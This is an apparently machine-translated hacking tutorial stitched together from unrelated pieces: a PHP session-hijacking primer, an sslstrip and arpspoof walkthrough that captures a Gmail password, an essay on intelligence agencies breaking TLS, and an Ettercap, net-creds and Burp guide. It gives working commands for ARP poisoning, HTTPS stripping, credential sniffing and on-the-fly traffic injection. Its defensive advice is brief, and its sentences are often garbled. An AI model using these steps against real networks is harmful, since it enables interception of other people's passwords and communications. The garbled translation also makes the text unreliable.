Games

Easy Hack: Hacking secrets of simple things. Ettercap Instructions: Man-in-the-Middle Attack (MitM), Password Interception, HSTS Bypass, On-The-Fly Data Spoofing, Using Custom Filters and Plugins, BeEF Hooking, Backdoor Infection

Ways to hack and protect the session from theft

Most sites on the Internet are open to external influences from hackers. Even large-scale expensive Internet projects are hacked: they leave traces or take away the database. As a result, the owner of the resource suffers, as well as visitors.

To avoid hacking problems, a number of measures are required during development. Some preventive actions need to be carried out during the operation of the site.

In past articles, I showed how servers are performed, as well as servers. Today we will talk about interception and protection of sessions by hackers.

Site session

PHP is probably the most common server-side programming language for websites. In php, a website session is started using the session_start() command. Before starting, you can specify additional parameters. The session usually stores important personal information about the user: login, name, password, ..

Session Hijacking

There are 2 ways to store the session ID: in cookies and in address bar. The first option is more secure than the second, but both are hackable to varying degrees. This type The hack is called session hijacking.

Let the identifier be stored in the site url. A logged-in visitor, walking through the pages of your site, decides with someone. When publishing a link, he gives the link with his session ID. If the site does not have any additional protection methods, then by clicking on such a link, a new visitor will already be logged in as the first user, if the session has not yet ended. Then do what you want on the site within the limits allowed by the rules.

Things are more complicated with cookies, but everything is also quite easily intercepted. Many sites do not filter browser scripts when users publish information. A potential hacker places such a script on a page. A logged in visitor visits a page... The script reads the cookie value or address bar and passes the session ID to another site. The other site belongs to the hacker. Further, everything is simple. A cookie is forged or the address of a site page with the desired session ID is entered.

Session Hacking

When a session starts, session files are created in the temporary directory. These files store information. If used, then, usually, the temporary folder for storing sessions is shared by all sites on the server. Further, in a certain way, the session data is read by its own script. To do this, the attacker must have an account on the same server. As a result, if a password from a site or a credit card number with a cvv code is stored in the session, then all this useful information will fall into the hands of an attacker.

Session data hack protection

Store the session in cookies. Harder to take.
Bind the session to the ip address of the computer. When entering from another ip, a new session is created depending on the script settings.
Bind the session to the browser's user agent. When you log in from another browser, the session is reset to zero.
Encrypt parameters passed to the session. If an attacker gets the session file, he will not be able to read it. Although if you have certain skills, it is also possible to decrypt the session.
Store session IDs in a separate folder. In php, there is a session_save_path($path_to_dir) command for this. The same setting can be written in the php.ini file. The parameter is called session.save_path.
Use session_set_save_handler() in php to override how the session is stored. And since PHP 5.4, you can pass an object of type SessionHandlerInterface to session_set_save_handler().

I will show and tell you how to use the sslstrip utility to intercept data that is transmitted over a secure SSL connection.
The sslstrip utility in my example (after performing an ARP-spoofing attack on the victim) will intercept the request of the victim's web client to establish a secure SSL connection and force it to use an insecure HTTP protocol. Next, I'll just look at what the victim is doing, not paying attention to the fact that she reads mail not via HTTPS, but via HTTP.

You will see how easy it is to organize MITM attacks on SSL using the arp-spoof technique and the sslstrip program.

In my example, the victim is a virtual machine with an IP of 10.10.11.163 (an ordinary car with Windows), the PC from which I attack is 10.10.11.85 with the Kali OS installed and with sslstrip (this utility is preinstalled in the pentester Kali\BackTrack Linux distributions). Between us is a gateway with IP 10.10.11.1.

1. When the victim enters gmail.com, he is sent to the address https://gmail.com and this is normal. Naturally, we do not see passwords and logins to the victim's mail in the clear.

2. I enable traffic routing on a PC with Kali:

echo "1" > /proc/sys/net/ipv4/ip_forward

and configure iptables so that all http traffic is directed to port 81:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 81

arpspoof -i eth0 -t 10.10.11.163 10.10.11.1

now the victim's traffic goes through my car and (according to my iptables rule) is forwarded to port 81.

3. Run sslstrip

sslstrip -a -l 81 -w /root/Desktop/ssllog.txt

this will create a log file right on the desktop and start writing intercepted http traffic into it (actually, HTTPS will be intercepted, but it will be stripped). Well, in general, I start watching this file on the console:

tail -f /root/Desktop/ssllog.txt

4. Victim goes to his mail

To read mail, the victim, as always, climbs into MS Explorer (hehe) and enters gmail.com there. But for some reason the browser does not redirect the victim to https (in the http address bar)! The figure below shows what the victim will see at the last moment before I find out her password and login.

The victim clicks "Login" ... and on my window, where the intercepted traffic was displayed, I see the following:

As you can see, the password 1q2w3e4r5t6y...

To avoid the threats associated with interception of the beginning of an SSL connection, you must:
- do not use gadgets in untrusted networks, even if it is very necessary (a villain can arrange a MITM with a much higher probability, say, at an airport by installing a rogue wireless access point than by breaking corporate network your organization);
- encrypt mail with symmetric encryption protocols (I write and think about PGP);
- pay a normal salary to the administrator so that he does not have a desire to spy on your employees in this way;
- keep track of the ARP table and use hardware / software that monitors podbny attacks;
- regularly update the software from trusted legal sources.

Keep in mind that this article illustrates what is prohibited by law and the examples in it are provided to show how easy it is to attack SSL for educational purposes only.

In recent years, there has been a change in the trend in the strategy of attacks by special services on the most important security protocol for the Internet TLS/SSL. From now on, a direct cryptographic attack and hacking is no longer only extreme, but often unnecessary within the framework of modern world a measure where money and financial gain become the main driving force.

Due to the importance of this issue, as part of a series of publications, the site offers an overview of the security of the TLS / SSL protocol stack, in parallel, considering consistent and systematic strategies for weakening these protocols by intelligence agencies.

A third of the secure traffic in the world is generated cryptographic means with a deliberately weakened PRNG?

Removed from the channel

As a seed, let's turn to the Russian example - the last court hearing in the case former owner payment system Chronopay Pavel Vrublevsky, accused of a DDoS attack against Aeroflot.

The essence of the key story was that the court requested internal correspondence between the participants in this criminal process, which they conducted through personal Facebook accounts. Despite the fact that it contained the most important incriminating information, the insidious American social network did not heed the request of Russian justice and denied access to the private correspondence of citizens of the Russian Federation. And then the very dramatic turning point in this story takes place - the FSB, in executing the court decision, independently “extracts” the correspondence of these citizens.

“The Central Information Bureau of the FSB, in accordance with the Law “On Operative-Investigative Activities”, carried out an independent retrieval of information from the communication channels of these persons and recorded it on a DVD.”

Indeed, later the defense side was able to verify that the necessary personal correspondence was “removed from the network in full and to the extent” against the will of Facebook. At the same time, the defendants themselves in this case denied providing the investigation with their passwords and self-incriminating correspondence. You can find flashy news headlines like “The Russian FSB Hacked Facebook Servers” on RuNet, but you shouldn’t jump so far with conclusions.

Firstly, all communication sessions with Facebook are carried out exclusively over the secure HTTPS communication protocol. Secondly, since the last contacts of the defendants and this decision court (and, consequently, the investigative actions of the FSB to enforce this decision) a lot of time has passed. From what kind of “channel” could these “data from the past” be “removed” if the defendants themselves have not gone online since then, being under investigation?

They ignored these direct questions put to the representatives of the FSB during the trial. The most obvious version of the answer suggested itself: the HTTPS traffic with this correspondence was sniffed / stored by the FSB in advance and somehow subsequently hacked.

It is interesting that almost a similar case was recorded earlier in the materials of the same case. The FSB CIB, citing the protocol of the investigation, “by saving and analyzing the Internet connection traffic of one of the accused, recovered the login and password from the botnet control panel” (physically located on a server in the United States), after which it seized remote control over this botnet. So, access to the same web panel was carried out by the defendants, again, exclusively via an encrypted HTTPS connection in compliance with security measures (for example, without saving passwords on their local computer).

Thus, we state the existence of problems with the security of HTTPS, citing amazing cases of overcoming the "protection" of TLS/SSL by the Russian special services.

modus operandi

To crack an encrypted HTTPS session, you need to solve two main tasks: to be able to listen (intercept) traffic, and also to be able to decrypt the data encapsulated in such a secure packet.

We will not dwell on the first point, since special services have physical access to almost any channel. Those who follow the latest news from SORMomostroeniya are already aware that, in accordance with the new law, from July 1, 2014, all Russian providers are required to install special equipment on their networks to record and store their transit Internet traffic in full for a period at least 12 hours. Moreover, the security forces will have direct access to all stored and transit data arrays.

Gmail tells me: "Your account or computer may have been affected by hackers supported by certain countries"
— Roman Dobrokhotov (@Dobrokhotov) September 9, 2014

If we talk about listening to HTTPS sessions, then we immediately note important point- the need for "active mode" listening in some cases, because the saved traffic can not always be hacked later. We are talking about the so-called progressive secrecy mode (forward secrecy, FS) for the HTTPS protocol, which prevents the possibility of recovering data after the end of the communication session (even if an attacker can later obtain valid site keys). The presence of such a mode obliges the attacker to "forge the iron while it is hot" - that is, to crack data in real time, which in the vast majority of cases is hardly technically possible.

The bad news is that Facebook, like most other major Internet portals, does not use forward secrecy mode because it creates an additional serious load on an already overloaded social machine. In addition, the use of such advanced DH algorithms may adversely affect compatibility with some popular browsers. Now it's easy to see why, according to Netcraft statistics as of summer 2013, approximately 70-99% of the SSL connections observed in this monitoring were not using FS at all.

That is, in the vast majority of cases, an attacker can safely store your HTTPS traffic for later picking and hacking (for example, when the private server key becomes known).

Above is a performance drop measurement on a 6-core web server processor with DHE enabled and disabled, respectively. DHE is chosen as the most popular and exemplary implementation of Perfect Forward Secrecy. For example, Google, whose services support almost all crypto-innovations and means of protecting its users (this is a striking exception to the general Internet practice), implements short-lived (“ephemeral”) PFS session keys based on ECDHE_RSA. And it's very, very expensive, believe me!

Given this remark, we will assume that everything is more or less clear with traffic interception. Now let's consider what to do next with the saved encrypted stream.

It seems that the general algorithm in this case will look something like this: when intercepting the traffic of interest, the HTTPS session is intercepted by hypothetical special services Information system receives a search request for the corresponding server key to its database. If such a key is not found, it is queued for further calculation (cracking). Taking into account the remark about the actual unavailability of the FS option, it always makes sense to silently accumulate (record) the traffic of interest, without waiting for the system's response about the readiness / availability of the key for decryption in real time.

As for the mentioned database of server keys, back in the summer of 2013, Cnet published information and an example document of an NSA request to a large Internet company that wished to remain anonymous. According to this source, it became known that other major Internet sites (Google, Microsoft, Apple, Yahoo, AOL, Verizon, AT&T, etc.) received the same requests. Cnet has officially contacted these organizations for comment. similar request, but in the vast majority of cases, the companies refused to either confirm or deny such interactions with the NSA.

“Once again I wipe my feet on the myth that open source is the path to reliability. This bug in Debian OpenSSL was almost two years old."

Indeed, it was possible to close this vulnerability only after the uproar in the press. The Debian project itself called the situation with a long-standing bug in its OpenSSL repository "a rather strange story."

If we talk about the notorious hardware "bookmarks", then recently they have blossomed in a violent color already in the most unexpected places: from irons to coffee machines. So, according to Spiegel, the special department of the NSA "Special Access Operations" (Tailored Access Operations, TAO) for a long time carried out mass interception of computer (and not only) equipment purchased by various companies and countries on the way from the supplier to the addressee. At the same time, the intercepted equipment, shipped to the customer of interest to the NSA, quickly passed through the secret TAO “factory”, where modified software or “bugs” were introduced into it. Such intervention in the supply chain for its own purposes, denoted by the special term "interdiction", was rated by the NSA itself as one of the "most effective types of modern operations."

NSA plans to infect potentially millions of computers with malware as part of its Tailored Access Operations

Ettercap Alternatives

Ettercap is the most popular program for a man-in-the-middle attack, but is it the best? Throughout the entire manual, you will see that Ettercap is almost never used alone, that one or another program is always lined up with it in a traffic processing chain. Perhaps this adds flexibility, in general, this approach lies in UNIX-based- one program performs one task, and the end user combines various programs to achieve the desired result. With this approach, the program code is easier to maintain; such miniature "bricks" can be used to build a system of any complexity and flexibility. However, having five open consoles with different tasks, the work of programs of which is aimed at achieving one single result, is not very convenient, it's just more difficult, there is a chance of making a mistake at some stage, and the entire configured system will idle.

Net-Creds sniffs:

Visited URLs
sent POST requests
logins/passwords from HTTP forms
logins/passwords for basic HTTP authentication
HTTP lookups
FTP logins/passwords
IRC logins/passwords
POP logins/passwords
IMAP logins/passwords
Telnet logins/passwords
SMTP logins/passwords
SNMP community string
all supported NTLMv1/v2 protocols like HTTP, SMB, LDAP, etc.
Kerberos

A good selection of intercepted images, and driftnet is simpler in this regard - it only shows intercepted images.

Switch your machine to forwarding mode.

echo "1" > /proc/sys/net/ipv4/ip_forward

Run Ettercap with GUI (-G):

Ettercap-G

Now choose hosts, it has a subparagraph Scan for hosts. After scanning is complete, select host list:

As Goals1 select router ( Add to Target 1), as Goals2 select the device you want to attack ( Add to Target 2).

But here the first hitch may arise, especially if there are many hosts. In various instructions, including in the video presented above, the authors climb into the target machine (for some reason, everyone has Windows there) and use the command to look at the IP of this machine in local network. Agree, this option is unacceptable for real conditions.

If you scan with, then you can get some additional information about the hosts, more precisely, about the manufacturer of the network card:

nmap -sn 192.168.1.0/24

If the data is still not enough, then you can do a scan with the definition of the OS:

nmap -O 192.168.1.0/24

As you can see, the machine with IP 192.168.1.33 turned out to be Windows, if this is not a sign from above, then what is it? 😉 lol

That is what we add as the second goal.

Now let's move on to the menu item. Mitm. There select ARP poisoning… Check the box Sniff remote connections.

We start harvesting, in one window we launch

Net credits

in another (both programs can be run without options)

drift net

Data collection began immediately.

On the right side, driftnet has opened another window that shows captured images. In the net-creds window, we see visited sites and intercepted passwords:

1.2 Ettercap + Burp Suite

3. View data (websites visited and captured passwords) in Ettercap

On the menu view we have tabs available Connections And profiles. You can also check the box Resolve IP addresses(translate IP addresses). Connections are, of course, connections. Ettercap collects in-memory profiles for each host it discovers. Users and passwords are collected there. In this case, profiles with captured account data (passwords) are marked with a cross:

Do not rely too much on profiles - for example, intercepted logins and passwords for FTP and other services are marked, for which the program can unequivocally interpret the information received as credentials. This does not include, for example, basic authentication data, entered logins and passwords in web forms.

In Connections, the most promising data is marked with an asterisk:

You can double click on these entries to view the details:

In order not to search for these stars in the entire list, you can sort by this field and they will all be at the top or bottom:

Caught basic authentication:

These are the intercepted credentials for Vkontakte:

Also, the most interesting data is collected in the lower console:

If you want to save the results of the program, then use these options (specify the keys when starting Ettercap:

Logging options: -w, --write<файл>write captured data to pcapfile<файл>-L, --log<логфайл>write all traffic to this<логфайл>-l, --log info<логфайл>write only passive information to this<логфайл>-m, --log-msg<логфайл>write all messages to this<логфайл>-c, --compress use gzip compression for log files

4. Data substitution on the fly in Ettercap

4.1 Using Custom Ettercap Filters

Note: In all my testing, the Ettercap filters did not work. It's hard to understand whether it's in the hands, in the hardware features or in a bug in the program itself ... But for version 0.8.2 (the latest at the moment), there is a bug report about problems with filters. In general, judging by the bug reports and forums, the filters either fall off often, or do not work at all for a long time. There is a branch that was modified 5 months ago https://github.com/Ettercap/ettercap/tree/filter-improvements, i.e. filter-improvements (with filter improvements). A wide variety of tests were made for this branch and for the version from the repository, various filters were tested in different conditions, a lot of time was spent, but there was no result. By the way, to install the version of filter-improvements in Kali Linux, you need to do this:

sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS =On ../ make sudo make install

In general, if your filters do not work, then you are not alone. In the instructions for Ettercap, I cannot skip the topic of filters, so they will be considered anyway.

So far we have been using Ettercap for ARP spoofing. This is a very superficial application. Thanks to custom filters, we can intervene and change traffic on the fly. Filters should be in separate files and must be compiled with the Etterfilter program before use. Although the documentation to which the link is given seems to be short, but coupled with the examples below, it will allow you to write some pretty interesting filters.

Let's create our first filter, it will replace all images with this:

In a file named img_replacer.filter copy:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( replace("Accept-Encoding", "Accept-Rubbish!"); # note: the replacement string is the same length as the original msg("zapped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( replace("src=", " src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn. png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); )

Compile the file:

Etterfilter img_replacer.filter -o img_replacer.ef

Compilation results:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file "img_replacer.filter" done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to "img_replacer.ef" done. -> Script encoded into 18 instructions.

Key -F tells the program to load the filter from the file that follows the key. After compilation, the name of our new file with the filter is img_replacer.ef, so the command becomes:

Ettercap -G -F img_replacer.ef

Note A: When you monitor web traffic, the packets you see may be in encoded form. For filters to work effectively, Ettercap needs plain text traffic. According to some observations, the type of encoding that web pages use is "Accept-Encoding: gzip, deflate"

Below is a filter that overwrites the encoding, forcing communication in the form of plain text:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( replace("gzip", " "); # note: four spaces in msg string to replace ("whited out gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "deflate")) ( replace("deflate", " "); # note: seven spaces in replacement string msg("whited out deflate\n"); ) )

The syntax for writing filters is described in detail, and then a few more examples:

# replace text in packet: if (ip.proto == TCP && search(DATA.data, "lol"))( replace("lol", "smh"); msg("filter ran"); ) # show message if tcp port is 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # log all telnet traffic, also execute ./program per packet if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./logfile.log "); exec("./program"); ) ) # log all traffic except http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log(DATA.data , "./logfile.log"); ) # some packet payload operations if (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) else ( DATA.data = "modified"; DATA .data + 20 = 0x4445; ) # drop all packets containing "ettercap" if (search(DECODED.data, "ettercap")) ( msg("some one is talking about us...\n"); drop( ); kill(); ) # write decrypted ssh packets matching regular expression if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) # killing packets if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Data spoofing with Burp

We launch Ettercap and Burp as described in paragraph 1.2 or in paragraph 2.2.

In Burp go to Proxy -> Options. We find there Match and Replace . Click Add to add a new rule.

Request header is the request header
request body- request body
response header- response header
response body- response body
Request param name- Query parameter name
Request param value- Request parameter value
Request first line- First line of the query

If you need to change the data transmitted by the GET method, then this applies to the headers.

IN HTML markup there is also such a thing as head (head tag). Those mentioned above have nothing to do with this heading. A little higher it is said about packet headers. If you want to change the content HTML pages, then you should always choose Response body instead of Request header, even if you are going to change the content of the head tag (for example, the title).

If you are not familiar with regular expressions, then, in principle, it's okay: HTML forgives a lot, and what it doesn't understand, it simply ignores - you can use it. If you know how to use regular expressions, then I respect you.)))

For example, let's create a new rule, change the Request header to Response body. In the rule itself, we will change

.*<\/title> </p><p> <title>no title

Check the box Regex match.

Now on all sites (without HTTPS) instead of the title there will be No Title:

Insert an arbitrary line after the body tag (it will be the first line in the text). Request header is changed to Response body. We change

Check the box Regex match.

In the upper right corner (depending on layout) appears the inscription "I am cool!". You can insert CSS, JavaScript code, any text - anything. You can generally delete everything from the page, and then fill it with your own content - it all depends on your imagination.

There was an idea to slightly modify each form so that the data is sent to the original server and to the attacker's server (implement multi submit for each form). But having reasoned that if the transmitted data is not encrypted and we have access to it, then we see it anyway, we don’t need to send it to any server. Nevertheless, if someone needs it, a really working example of sending data from one form to several servers at once.